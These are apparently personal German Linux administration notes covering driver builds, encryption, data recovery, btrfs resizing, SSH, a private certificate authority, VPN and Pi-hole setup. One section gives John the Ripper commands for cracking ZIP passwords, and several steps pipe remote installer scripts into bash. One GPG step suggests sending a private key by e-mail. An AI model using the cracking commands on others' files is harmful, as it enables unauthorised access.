Schritt 3: Führen Sie die folgenden drei Befehle aus:make clean
make
sudo insmod 88x2bu.ko
Treiber kompilieren: Nach dem Download des Treiber-Quellcodes genügt in der Regel der Befehl "make", der ein neues Modul für den laufenden Kernel erstellt.
Damit wird der Treiber aus dem aktuellen Ordner „-/src/88x2bu-20210702" geladen Mittelsdmesg
lassen Sie sich die letzten Kernel-Meldungen ausgeben, die über den erfolgreich geladenen Treiber informieren oder Fehlermeldungen anzeigen. Für die meisten Treiber folgt abschließend dieser Befehl:sudo make install
Damit wird der Treiber in einen Ordner unterhalb von „/lib/modules/[Kernel-Version] kopiert und ab dem nächsten Linux-Start automatisch geladen. Bei unserem Beispieltreiber ist das nicht erforderlich, weil ein Script die Aufgabe übernimmt (siehe Schritt 4). Die WLAN-Hardware funktioniert jetzt und Verbindungen lassen sich wie gewohnt über den Netzwerkmanager herstellen.
Wenn allerdings Secure Boot aktiviert ist, erzeugt der Befehl insmod eine Fehlermeldung: Der Treiber wird nicht geladen, weil er nicht digital signiert ist. Sie müssen dann entweder Secure Boot im Firmwaresetup deaktivieren oder den Treiber signieren (siehe https://m6u.de/KNMD).
Schritt 4: Der Treiber von https;//github.com/morrownr/88x2bu-20210702 lässt sich komfortabel per Script einrichten:sudo ./install-driver.sh
Sie werden gefragt, ob Sie die Konfigurationsdatei „/etc/modprobe.d/88x2bu.conf” mit den Treiberoptionen bearbeiten möchten. In der Regel ist das nicht nötig, Erklärungen zu den Optionen sind in der Konfigurationsdatei enthalten. Wenn Sie Linux jetzt neu starten, wird der neue Treiber automatisch geladen und die WLAN-Hardware lässt sich nutzen.
Adguard
Einstellungen Adguard
DNS Einstellungen
https://dns.quad9.net/dns-query
tls://dns2.digitalcourage.de
tls://fdns1.dismail.de
tls://dnsforge.de
Befehle in Konsole
./AdGuardHome -s -h #Hilfe
Verschlüsseln von Dateien und E-Mails
Verschlüsseln mit ccrypt
Das Programm ccrypt kann direkt aus den Paketquellen installiert werden.
-
Verschlüsseln:
ccencrypt foobar
-
Entschlüsseln:
ccdecrypt foobar
-
Entschlüsseln – nur auf die Standardausgabe:
ccat foobar
Weitere Informationen bietet die Manpage zur Anwendung.
GPG
Um ein Dokument zu verschlüsseln, benutzt man die Option --encrypt. Dazu müssen Sie die öffentlichen Schlüssel der vorgesehenen Empfänger haben. Sollten Sie auf der Kommandozeile den Namen der zu verschlüsselnden Datei nicht angeben, werden die zu verschlüsselnden Daten von der Standard-Eingabe gelesen. Das verschlüsselte Resultat wird auf die Standard-Ausgabe oder in die Datei, die durch die Option --output spezifiziert ist, geschrieben. Das Dokument wird darüberhinaus auch noch komprimiert.
alice$ gpg --output doc.gpg --encrypt --recipient blake@cyb.org doc
Mit der Option --recipient wird der öffentliche Schlüssel spezifiziert, mit dem das Dokument verschlüsselt werden soll. Entschlüsseln läßt sich das so verschlüsselte Dokument jedoch nur von jemandem mit dem dazugehörigen geheimen Schlüssel. Das bedeutet konsequenterweise aber auch, daß Sie selbst ein so verschlüsseltes Dokument nur wieder entschlüsseln können, wenn Sie Ihren eigenen öffentlichen Schlüssel in die Empfängerliste aufgenommen haben.
Zum Entschlüsseln einer Nachricht wird die Option --decrypt benutzt. Sie benötigen dazu den geheimen Schlüssel, für den die Nachricht verschlüsselt wurde und das Mantra, mit dem der geheime Schlüssel geschützt ist.
blake$ gpg --output doc --decrypt doc.gpg Sie benötigen ein Mantra, um den geheimen Schlüssel zu entsperren. Benutzer: ``Blake (Staatsanwalt) <blake@cyb.org>'' 1024-Bit ELG-E Schlüssel, ID F251B862, erzeugt 2000-06-06 (Hauptschlüssel-ID B2690E6F)
Datenrettung
Um versehentlich gelöschte Bilder auf einem USB-Stick unter Linux wiederherzustellen, können Sie das Kommandozeilen-Tool
"TestDisk" verwenden. Hier sind die Schritte:
Das Programm ist auf Kali Linux bereits installiert.
- Installieren Sie TestDisk:
sudo apt-get update
sudo apt-get install testdisk
- Starten Sie TestDisk und wählen Sie den betroffenen USB-Stick aus:
sudo testdisk
-
Wählen Sie im Menü "Create" und drücken Sie "Enter".
-
Wählen Sie die Partitionstyp und drücken Sie "Enter".
-
Wählen Sie "Analyse" und drücken Sie "Enter", um die Partitionen zu scannen.
-
Wählen Sie die betroffene Partition und drücken Sie "Enter".
-
Wählen Sie "Quick Search" und drücken Sie "Enter".
-
Überprüfen Sie, ob die gelöschten Bilder aufgelistet sind und wählen Sie sie aus.
-
Wählen Sie "Save" und geben Sie den Speicherort an, wo die wiederhergestellten Bilder gespeichert werden sollen.
-
Drücken Sie "Enter", um die Wiederherstellung abzuschließen.
Bitte beachten Sie, dass dies keine Garantie für die vollständige Wiederherstellung der Daten gibt und je nach Schäden am USB-Stick kann es notwendig sein, andere Wiederherstellungstools zu verwenden.
Eine weiter Möglichkeit wäre
sudo apt-get update
sudo apt-get install testdisk
sudo photorec
Ddrescue
Programm ddrescue stellt Dateien wieder her
ddrescue -n [Quelle] [Ziel]
Beispiel: sudo ddrescue -n /dev/sdb1 /home/sla/sicherung
Der Schalter "-n" sichert zunächst alle Dateien, die noch einwandfrei lesbar sind. Im zweiten schritt führen Sie das Programm erneut aus, diesmal ohne diesen Schalter. Jetzt versucht die Software, auch Daten aus defekten Blöcken der Platte zu retten.
Extundelete
Um gelöschte Dateien wieder herzustellen gibt es das Programm Extundelet. Um Zeitsparend alle gelöschten Dateien wiederherzustellen, verwenden Sie dieses Kommando:
extundelete /dev/sda4 --restore-all
Festplatte vergrößern
How to resize/extend a btrfs formatted root partition
Environment
SUSE Linux Enterprise Server 12 (all Service Packs)
Situation
- Is the original disk going to be expanded?
- Is it possible to add a new disk to expand the existing btrfs file system?
The following article will cover a situation with one disk and two partitions to show the steps necessary for both scenarios using both offline as well as online resize operation.
Please keep in mind that a more sophisticated partitioning scheme (partitions behind the root volume or an extended partition layout) may cause problems. In these cases adding a new disk to expand the existing file system is the preferred solution.
Please check the system setup carefully before carrying out any actions.
Because the procedures covered in this article contain a fair risk of losing the operating system while performing changes to the partition table, the administrator of the machine is required to create a backup before the operation!
This guide does not claim to be complete or cover all possible scenarios. In case of questions please open a service request to discuss these with SUSE Technical Services before any action is taken.
Resolution
The disk space of a virtual system with 20GB hard disk should be increased to 40GB.
Preparation:
- Since the following procedure requires changes to the partition table, a loss of data is possible. Please ensure to create a backup of the system before performing any action!
- Ensure your restore procedure works correctly!
- Check carefully if a MSDOS or GPT partition table was created. This information can easily be obtained from the parted -l / fdisk -l output easily.
This article is going to cover the following three approaches to accomplish the resize of a virtual disk in a VMware based environment:
- Expanding the file system by adding a new disk
- Resizing the disk using parted
- Resizing the disk online using fdisk
Expanding the file system by adding a new disk
A convenient and quick solution to add disk space to an existing btrfs file system is by adding a new disk.
The procedure consists of four steps and the system does not need to be rebooted:
- add a new disk
- rescan the SCSI bus using
rescan-scsi-bus.sh -a
- Add the newly added device to the root btrfs filesystem
btrfs device add /dev/sdX /
- At this point the metadata is only stored on the first disk, to distribute (balance) it across the devices run:
btrfs filesystem balance /
server1:~ # parted -l Model: VMware Virtual disk (scsi) Disk /dev/sda: 21.5GB Sector size (logical/physical): 512B/512B Partition Table: msdos Disk Flags: Number Start End Size Type File system Flags 1 1049kB 4302MB 4301MB primary linux-swap(v1) type=82 2 4302MB 21.5GB 17.2GB primary btrfs boot, type=83
As a first step, the virtual disk needs to be increased on the hypervisor side. Please refer to the vendor documentation for this particular task. The parted -l output above also provides the information whether a MSDOS or GPT partition label was used. fdisk -l (an example is provided in the section Resizing the partition online using fdisk ) will show this information.
Once this has been accomplished, rescan the local disk:
server1:~ # echo 1 > /sys/block/sda/device/rescan server1:~ # parted -l Model: VMware Virtual disk (scsi) Disk /dev/sda: 42.9GB Sector size (logical/physical): 512B/512B Partition Table: msdos Disk Flags: Number Start End Size Type File system Flags 1 1049kB 4302MB 4301MB primary linux-swap(v1) type=82 2 4302MB 21.5GB 17.2GB primary btrfs boot, type=83
Trying to resize /dev/sda using parted will fail with:
server1:~ # parted /dev/sda GNU Parted 3.1 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) resize Partition number? 2 Error: Partition /dev/sda2 is being used. You must unmount it before you modify it with Parted. (parted)
Warning The file system is currently mounted on /. You can try to unmount it now, continue without unmounting or cancel. Click Cancel unless you know exactly what you are doing.
Once the rescue system has started, the disk resize operation may be performed as follows:
0:rescue:~ # parted /dev/sda GNU Parted 3.1 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) resize Partition number? 2 End? [21.5GB]? 42.5GB (parted) quit Information: You may need to update /etc/fstab.
Running parted -l will show the new end of the partition:
0:rescue:~ # parted -l Model: VMware Virtual disk (scsi) Disk /dev/sda: 42.9GB Sector size (logical/physical): 512B/512B Partition Table: msdos Disk Flags: Number Start End Size Type File system Flags 1 1049kB 4302MB 4301MB primary linux-swap(v1) type=82 2 4302MB 42.5GB 38.2GB primary btrfs boot, type=83
0:rescue:~ # mount /dev/sda2 /mnt 0:rescue:~ # btrfs filesystem resize max /mnt Resize '/mnt' of 'max' 0:rescue:~ # df -h Filesystem Size Used Avail Use% Mounted on /dev/loop0 29M 29M 0 100% /parts/mp_0000 /dev/loop1 14M 14M 0 100% /parts/mp_0001 devtmpfs 468M 0 468M 0% /dev /dev/loop2 42M 42M 0 100% /mounts/mp_0000 /dev/loop3 34M 34M 0 100% /mounts/mp_0001 /dev/loop4 4.2M 4.2M 0 100% /mounts/mp_0002 tmpfs 497M 0 497M 0% /dev/shm tmpfs 497M 7.2M 490M 2% /run tmpfs 497M 0 497M 0% /sys/fs/cgroup tmpfs 497M 0 497M 0% /tmp tmpfs 100M 0 100M 0% /run/user/0 /dev/sda2 36G 753M 33G 3% /mnt
Resizing the partition online using fdisk
fdisk does not support resizing a partition. In this case the existing root partition needs to be deleted and recreated using the same start block but selecting the new end block to assign all available disk space to the partition.
As already mentioned before, fdisk cannot deal with GPT partition tables. Please check carefully which label was chosen and select the right tool for the resize operation.
When recreating the partition please make sure to set the bootable flag again, otherwise the system will not boot.
The procedure using fdisk is as follows:
Print the current partition table, save it, expand the disk, have the kernel rescan the device and make sure it sees the new size:
server1:~ # fdisk -l Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x0004a8ed Device Boot Start End Sectors Size Id Type /dev/sda1 2048 8402943 8400896 4G 82 Linux swap / Solaris /dev/sda2 * 8402944 41943039 33540096 16G 83 Linux btrfs:~ # echo 1 > /sys/block/sda/device/rescan btrfs:~ # fdisk -l Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x0004a8ed Device Boot Start End Sectors Size Id Type /dev/sda1 2048 8402943 8400896 4G 82 Linux swap / Solaris /dev/sda2 * 8402944 41943039 33540096 16G 83 Linux server1:~ #
Keep in mind, operations in fdisk are temporary until a write operation is issued. So at any point it is safe to exit fdisk using CTRL+c.
As a next step open fdisk and delete the root partition.
server1:~ # fdisk /dev/sda Welcome to fdisk (util-linux 2.28). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): d Partition number (1,2, default 2): 2 Partition 2 has been deleted.
Command (m for help): n Partition type p primary (1 primary, 0 extended, 3 free) e extended (container for logical partitions) Select (default p): p Partition number (2-4, default 2): First sector (8402944-83886079, default 8402944): Last sector, +sectors or +size{K,M,G,T,P} (8402944-83886079, default 83886079): Created a new partition 2 of type 'Linux' and of size 36 GiB. Command (m for help): t Partition number (1,2, default 2): 2 Partition type (type L to list all types): 83 Changed type of partition 'Linux' to 'Linux'.
Command (m for help): a Partition number (1,2, default 2): 2 The bootable flag on partition 2 is enabled now.
Command (m for help): p Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x0004a8ed Device Boot Start End Sectors Size Id Type /dev/sda1 2048 8402943 8400896 4G 82 Linux swap / Solaris /dev/sda2 * 8402944 83886079 75483136 36G 83 Linux
Now, while writing the changes to disk, the following messages will be shown:
Command (m for help): w The partition table has been altered. Calling ioctl() to re-read partition table. Re-reading the partition table failed.: Device or resource busy The kernel still uses the old table. The new table will be used at the next reboot or after you run partprobe(8) or kpartx(8). server1:~ # partprobe Error: Partition(s) 2 on /dev/sda have been written, but we have been unable to inform the kernel of the change, probably because it/they are in use. As a result, the old partition(s) will remain in use. You should reboot now before making further changes. Error: Can't have a partition outside the disk!
Once the system is back online please run:
btrfs filesystem resize max /
SLE 12 based systems support the ioctls mentioned previously, this way it is possible to notify the kernel about the changed partition table as the system is online.
Old partition table:
server1:~ # fdisk -l /dev/sda Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x000dd878 Device Boot Start End Sectors Size Id Type /dev/sda1 2048 8402943 8400896 4G 82 Linux swap / Solaris /dev/sda2 * 8402944 41943039 33540096 16G 83 Linux
Execute the actions as displayed above to remove and recreate the partition table, write the changes and receive the busy message from the kernel:
server1:~ # fdisk -l Disk /dev/sda: 50 GiB, 53687091200 bytes, 104857600 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x000dd878 Device Boot Start End Sectors Size Id Type /dev/sda1 2048 8402943 8400896 4G 82 Linux swap / Solaris /dev/sda2 * 8402944 104857599 96454656 46G 83 Linux
server1:~ # cat /proc/partitions major minor #blocks name 2 0 4 fd0 8 0 52428800 sda 8 1 4200448 sda1 8 2 16770048 sda2 11 0 1048575 sr0
partx -u -n 2 /dev/sda
server1:~ # cat /proc/partitions major minor #blocks name 2 0 4 fd0 8 0 52428800 sda 8 1 4200448 sda1 8 2 48227328 sda2 11 0 1048575 sr0
Now resize the filesystem. (If the btrfs file system resides on multiple devices, see the Additional Information section of this document, as well.)
btrfs filesystem resize max /
btrfs filesystem usage /
Using partx it would also be possible to delete any partitions that are not needed behind the root volume, expand the root volume, delete the kernel view on that partition (partx -d -n X /dev/sda), update the root partition (partx -u -n X /dev/sda) and then resize the filesystem.
Additional Information
Another possible method to extend the disk space of a btrfs file system would be to add unused partitions from a disk. Please note that btrfs will treat these partitions (even if they come from the same device) as a separate physical volume and if later the file system should operate in RAID mode, chunks will be served from both partitions which is not desirable. In this case it is preferable to either add complete disks or delete unused partitions and resize the root volume where applicable.
If the btrfs file system resides on multiple devices
When a btrfs file system resides on mulitple devices, first determine the devid of resized partition, for example:
btrfs filesystem show /
btrfs filesystem resize 2:max /
SSH
Installieren
Version von SSH Überprüfen
ssh -V
vor der Installation das System updaten
sudo apt update && sudo apt upgrade -y
SSH installieren
sudo apt install openssh-server
SSH einrichten
Config-Datei bearbeiten
nano /etc/ssh/sshd_config
Weitere Sicherheit erzeugen
Dateien übertragen
# Remote zu lokal
scp benutzer@10.1.1.102:/Pfad/zur/Datei.txt /Lokal/Pfad/zur/Datei.txt
# Lokal zu Remote
scp /Lokal/Pfad/zur/Datei.txt benutzer@10.1.1.102:/Pfad/Zur/Datei.txt
Update Ubuntu Distribution
Um die Distribution von Ubuntu von einem 20.04 auf 22.04 upzudaten
## view current version ##
lsb_release -a
## install new version ##
apt update
apt upgrade
apt dist-upgrade
apt autoremove
apt install update-manager-core
do-release-upgrade
Automatische Updates für Linux Server
Bestimmte Pakete ausklammern
## install package ##
apt install unattended-upgrades
## configure unattended-upgrades ##
nano /etc/apt/apt.conf.d/50unattended-upgrades
# unter Pyckage-Blacklist folgende Dienste ausklammern
# // ist hier die Kommentierung
"apache2";
"mariadb-server";
"php$"
## enbale auto-upgrades ##
## In der Datei muss eine 1 stehen
nano /etc/apt/apt.conf.d/20auto-upgrades
## test auto-upgrades ##
unattended-upgrades --dry-run --debug
Vertrauenswürdige SSL Zertifikate im Internen Netz
DNS Server erstellen
Linux als Zertifikats Server einrichten
openssl genrsa -des3 -out myCA.key 2048
Root Zertifikat erstellen
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.pem
Hier nur bei Organization Name was eingeben, wenn überhaupt. z. B. milecloud
die .pem Datei wird dann auf die Rechner gebracht.
Zertifikat auf dem mac hinzufügen
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" myCA.pem
Zertifikat auf einem Linux rechner Hinzufügen
sudo su
cp myCA.pem /usr/local/share/ca-certificates
update-ca-certificates
Zertifikate für den Clients erstellen
Auf dem Zertrechner
openssl genrsa -out proxmox.lan.key 2048
openssl req -new -key proxmox.lan.key -out proxmox.lan.csr
ext Datei erstellen
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = proxmox.lan
Gesamte Befehle von Apfelcast
########### Create your own Certificate Authority and Certificates ###########
1. Create Certificate Authority
1.1 Create central certificate folder
mkdir ~/certs
cd ~/certs
1.2 generate private key for CA
openssl genrsa -des3 -out myCA.key 2048
1.3 create CA root certificate
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.pem
2. Create certificate signed by own CA
2.1 generate private key for certificate
openssl genrsa -out demo.lan.key 2048
2.2 create CSR
openssl req -new -key demo.lan.key -out demo.lan.csr
2.3 create an X509 V3 certificate extension config file
nano demo.lan.ext
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = demo.lan
2.4 create the certificate: using our CSR, the CA private key, the CA certificate, and the config file
openssl x509 -req -in demo.lan.csr -CA myCA.pem -CAkey myCA.key \
-CAcreateserial -out demo.lan.crt -days 825 -sha256 -extfile demo.lan.ext
# .crt und .key werden auf dem Server benötigt, der den Dienst zur verfügung stell
3. Use Certificate with apache
a2enmod ssl
nano /etc/apache2/sites-available/demo.lan.conf
<VirtualHost *:443>
ServerName demo.lan
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /root/certs/demo.lan.crt
SSLCertificateKeyFile /root/certs/demo.lan.key
</VirtualHost>
a2ensite demo.lan.conf
service apache2 restart
4. Add CA to client
4.1 Mac OS
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" myCA.pem
4.2 Linux
sudo cp myCA.pem /usr/local/share/ca-certificates/myCA.crt
sudo update-ca-certificates
Zertifikat mit Skript erstellen
### Skript vorbereiten ###
nano /root/certs/auto-cert.sh
...
chmod +x /root/certs/auto-cert.sh
bash /root/certs/auto-cert.sh domain.lan
### Skript vorbereiten ###
####### Skript #######
#!/bin/sh
if [ "$#" -ne 1 ]
then
echo "Usage: Must supply a domain"
exit 1
fi
DOMAIN=$1
cd ~/certs
openssl genrsa -out $DOMAIN.key 2048
openssl req -new -key $DOMAIN.key -out $DOMAIN.csr
cat > $DOMAIN.ext << EOF
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = $DOMAIN
EOF
openssl x509 -req -in $DOMAIN.csr -CA myCA.pem -CAkey myCA.key -CAcreateserial \
-out $DOMAIN.crt -days 825 -sha256 -extfile $DOMAIN.ext
####### Skript #######
Wireguard VPN erstellen
Ganz einfach Möglichkeit ist es, das VPN als PiVPN zu installieren
Installation
curl -L https://install.pivpn.io | bash
Yes, that's it! It is *almost* that simple.
To elaborate a little more, you will want to install Raspberry Pi OS Lite on a Raspberry pi, we strongly recommend using the latest Raspberry Pi OS Lite image but the normal Raspberry Pi OS image will work as well, preferably enable ssh access and then begin.
After install, you may need to open a port on your router.
There is a (now slightly outdated) guided walkthrough of the install available here.
More information is also available on the PiVPN GitHub
Konfiguration eines Clients
Generating Private and Public Keys
WireGuard works by encrypting the connection using a pair of cryptographic keys. The key pair is used by passing the public key to the other party, which can then encrypt its message so that it can only be decrypted with the corresponding private key. To secure two-way communication, each side must have its own private and public keys, since each pair provides only one-way messaging.
Generate a client public and private key pair by running the following command:
pivpn -add
die public keys befinden sich im Ordner /home/pivpn/config
Wireguard Client konfigurieren
Diese Vorgehensweise für einen Wireguard Client funkioniert und wurde erfolgreich auf Kali getestet
sudo apt install wireguard resolvconf # Software installieren
sudo cp /media/kali/persitence/tails.conf /etc/wireguard/wg0-client-01.conf # Configdatei speichern
# Berechtigungen zuordnen
sudo chown root:root /etc/wireguard/wg0-client-01.conf
sudo chmod 644 /etc/wireguard/wg0-client-01.conf
sudo chmod 755 /etc/wireguard
# Starten
sudo wg-quick up /etc/wireguard/wg0-client-01.conf
# Stoppen
sudo wg-quick down /etc/wireguard/wg0-client-01.conf
#Status
sudo wg
HomeAssistant
HomeAssistant Installieren
https://y.com.sb/watch?v=1Un4zJJWUTE
piHole installieren
Avahi installieren
# Avahi installieren
apt-get install avahi-daemon
# Hosts Datei anpassen
nano /etc/hosts
### Eintragen
# Als zweite Zeile
127.0.0.1 phihole.local
# und in PVE
pihole.local abändern
Repository hinzufügen
apt install software-properties-common
PiHole installieren
curl -sSL https://install.pi-hole.net | bash
Unbound installieren
https://docs.pi-hole.net/guides/dns/unbound/
>
We will use unbound
, a secure open-source recursive DNS server primarily developed by NLnet Labs, VeriSign Inc., Nominet, and Kirei. The first thing you need to do is to install the recursive DNS resolver:
sudo apt install unbound
If you are installing unbound from a package manager, it should install the root.hints
file automatically with the dependency dns-root-data
. The root hints will then be automatically updated by your package manager.
Optional: Download the current root hints file (the list of primary root servers which are serving the domain "." - the root domain). Update it roughly every six months. Note that this file changes infrequently. This is only necessary if you are not installing unbound from a package manager. If you do this optional step, you will need to uncomment the root-hints:
configuration line in the suggested config file.
wget https://www.internic.net/domain/named.root -qO- | sudo tee /var/lib/unbound/root.hints
Konfiguration von pihole.conf
Für DNS over TLS
/etc/unbound/unbound.conf.d/pi-hole.conf
server:
use-syslog: yes
do-daemonize: no
interface: 127.0.0.1
port: 5335
access-control: 127.0.0.0/8 allow
cache-min-ttl: 3600
cache-max-ttl: 86400
prefetch: yes
qname-minimisation: yes
harden-below-nxdomain: yes
harden-referral-path: yes
forward-zone:
name: "."
forward-tls-upstream: yes
forward-addr: 194.242.2.3@853 # Mullvad
forward-addr: 94.140.14.14@853 # Adguard
Nahc dem ändern mit sudo systemctl restart unbound
neu starten
Kali John the ripper
Hash aus Zip extrahieren
zip2john file.zip > hash.txt
Passwort hacken
john hash.txt
# Mit Wörterliste
john hash.txt --wordlist=rockyou.txt
# Mit Maske
john hash.txt --mask=[A-Za-z0-9] --max-lenght=8
# Bruteforce mit Groß- und Kleinbuchstaben und Zahlen bis maximale Länge von 8 Zeichen
XRDP installieren
Xrdp installieren
The only package you need is xrdp, which you should enable after installation.
sudo apt update
sudo apt install xrdp
sudo systemctl enable xrdp
sudo systemctl restart xrdp
Festplatten unter Linux prüfen
https://thx.cool/festplatte-unter-linux-pruefen/
Den Status Deiner Festplatte mit smartmontools prüfen.
Neue SSD Festplatten haben eine begrenzte Haltbarkeit. Um diese zu erhöhen bietet sich fstrim an. fstrim gibt Speicher frei und sorgt dafür, dass nicht immer wieder die selben Bereiche Deiner Festplatte beschrieben werden. Daneben ist es ratsam, die Gesundheit Deiner Festplatte im Auge zu behalten. Die kannst Du am besten mit smartmontools prüfen.
Die Installation ist denkbar einfach. Bei den meisten Distributionen kann sie mit dem Paketmanager durchgeführt werden.
Installation unter Arch Linux und Ablegern, wie Manjaro:
sudo pacman -Syu
sudo pacman -S smartmontools
Installation unter Debian und Ablegern, wie Ubuntu:
sudo apt install smartmontools
Einmal installiert, kannst Du Dir Infos zu Deiner Festplatte anzeigen lassen:
sudo smartctl -i /dev/nvme0n1
nvme0 musst Du mit Deiner Festplatte ersetzen. Falls Du nicht weisst, wo Deine Festplatte zu finden ist, kannst Du den Befehl inxi nutzen, um sie Dir anzeigen zu lassen.
inxi -d
Um smartmontools im nächsten Schritt verwenden zu können, sollte Deine Festplatte S.M.A.R.T. – Self-Monitoring, Analysis und Reporting Technology – unterstützen. Bei den meisten neuen Festplatten ist das der Fall. Falls Du nicht weisst, ob Deine Festplatte SMART unterstützt, kannst Du das durch den Aufruf:
sudo smartctl -i /dev/nvme0n1
Der Aufruf gibt Dir Informationen zu Deiner Festplatte aus. nvme0n1 musst Du, wie gehabt, durch Deine Festplatte ersetzen.
Steht am Ende der Ausgabe so etwas wie: SMART support is: Available, ist alles bestens. Andernfalls kannst Du SMART für die meisten modernen Festplatten einschalten. Das machst Du mit dem Aufruf:
sudo smartctl -s on /dev/nvme0n1
Und wieder ersetzt Du nvme0n1 durch Deine Festplatte.
Jetzt ist es soweit, dass Du loslegen kannst. Es gibt drei Arten Deine Festplatte zu testen. Short, long und conveyance. Sie unterscheiden sich vor allem durch die Zeit, die benötigt wird. Empfehlenswert ist in den meisten Fällen long
sudo smartctl -c /dev/nvme0n1
Für einen ausführlichen Test führt folgender Aufruf:
sudo smartctl -t long /dev/nvme0n1
Alle Optionen erfährst Du in den Manpages:
man 8 smartctl
man 8 smartd
man 8 update-smart-drivedb
man smartd.conf
Oder gehst auf die Seite: https://www.smartmontools.org/wiki.
Zum Abschluss noch ein paar Sätze zu fstrim. Mit dem Tool kannst Du erst einmal schauen, was passiert, bevor Du es ausführst. Der Aufruf:
sudo fstrim --fstab --verbose --dry-run
führt einen Trockenlauf durch. Wenn alles in Ordnung ist, erfolgt der Aufruf nochmals ohne der Option –dry-run. Möchtest Du, dass fstrim bei jedem Neustart Deines Rechners automatisch ausgeführt wird, kannst Du Service mit systemctl einrichten.
sudo systemctl enable fstrim.timer
GnuPG
Schnellübersicht
Befehl |
Kommentar |
gpg -e -r <Empfänger-Schlüssel-ID> <Datei> |
Datei verschlüsseln |
gpg -d <verschlüsselte-Datei.gpg> > entschlüsselte-Datei |
Datei entschlüsseln |
gpg --import private-key.asc |
Schlüssel importieren |
gpg --delete-key |
Gefolgt vom Namen oder Fingerabdruck |
Komplettübersicht
Befehl | Kommentar |
gpg -k | Liste der Schlüssel |
Verschlüsseln
Um eine Datei mit GnuPG auf einem Debian Linux zu verschlüsseln, können Sie die folgenden Schritte ausführen:
GnuPG installieren
GnuPG installieren Falls GnuPG noch nicht auf Ihrem Debian Linux-System installiert ist, können Sie es mit folgendem Befehl installieren:
sudo apt-get update sudo apt-get install gnupg
Schlüsselpaar generieren
GnuPG-Schlüsselpaar generieren Falls Sie noch keinen GnuPG-Schlüssel haben, müssen Sie zuerst ein Schlüsselpaar generieren. Hierzu können Sie den folgenden Befehl ausführen:
gpg --gen-key
Dieser Befehl startet den Assistenten zur Schlüsselerstellung, der Sie durch die Schritte zur Erstellung eines Schlüsselpaars führt. Sie werden unter anderem nach Ihrem Namen, Ihrer E-Mail-Adresse und einem Passwort gefragt. Nachdem der Assistent abgeschlossen ist, wird Ihr Schlüsselpaar generiert und in Ihrem GnuPG-Schlüsselring gespeichert.
Datei verschlüsseln
Um eine Datei zu verschlüsseln, verwenden Sie den folgenden Befehl:
gpg -e -r <Empfänger-Schlüssel-ID> <Datei>
Ersetzen Sie <Empfänger-Schlüssel-ID>
durch die Schlüssel-ID des Empfängers, an den Sie die verschlüsselte Datei senden möchten. Sie können die Schlüssel-ID des Empfängers entweder in dessen öffentlichem Schlüssel oder in einem Keyserver finden.
Beispiel:
gpg -e -r john@example.com secret.txt
Dieser Befehl verschlüsselt die Datei secret.txt
mit dem öffentlichen Schlüssel, der mit der E-Mail-Adresse john@example.com
verknüpft ist.
Schritt 4: Verschlüsselte Datei speichern Nachdem die Datei erfolgreich verschlüsselt wurde, wird eine neue Datei mit der Erweiterung .gpg
erstellt, die die verschlüsselten Daten enthält. Sie können diese Datei nun an den Empfänger senden oder anderweitig speichern.
Das war's! Sie haben erfolgreich eine Datei mit GnuPG auf Debian Linux verschlüsselt. Der Empfänger kann die Datei mit seinem privaten Schlüssel entschlüsseln, um auf den Inhalt zuzugreifen
Entschlüsseln am Mac
Verschlüsseln mit GnuPG
Um Ihren privaten Schlüssel von einem Debian Linux-System auf einen Mac zu übertragen und eine mit GnuPG verschlüsselte Datei zu entschlüsseln, können Sie die folgenden Schritte ausführen:
Privaten Schlüssel exportieren
Auf Ihrem Debian Linux-System können Sie Ihren privaten Schlüssel mit dem folgenden Befehl exportieren:
gpg --export-secret-keys -o private-key.asc
Dieser Befehl exportiert Ihren privaten Schlüssel in eine Datei mit dem Namen private-key.asc
. Sie sollten diese Datei sicher speichern, da sie Ihren privaten Schlüssel enthält und Zugriff darauf Dritten ermöglichen würde.
Privaten Schlüssel auf den Mac übertragen
Sie können den privaten Schlüssel private-key.asc
auf den Mac übertragen, z.B. per E-Mail, USB-Stick oder über das Netzwerk.
GnuPG auf dem Mac installieren
Falls GnuPG noch nicht auf Ihrem Mac installiert ist, können Sie es mit folgendem Befehl installieren:
brew install gnupg
Hinweis: Sie müssen Homebrew auf Ihrem Mac installiert haben, um den obigen Befehl auszuführen. Informationen zur Installation von Homebrew finden Sie unter https://brew.sh/.
Privaten Schlüssel auf dem Mac importieren
Nachdem Sie den privaten Schlüssel private-key.asc
auf den Mac übertragen haben, können Sie ihn mit dem folgenden Befehl importieren:
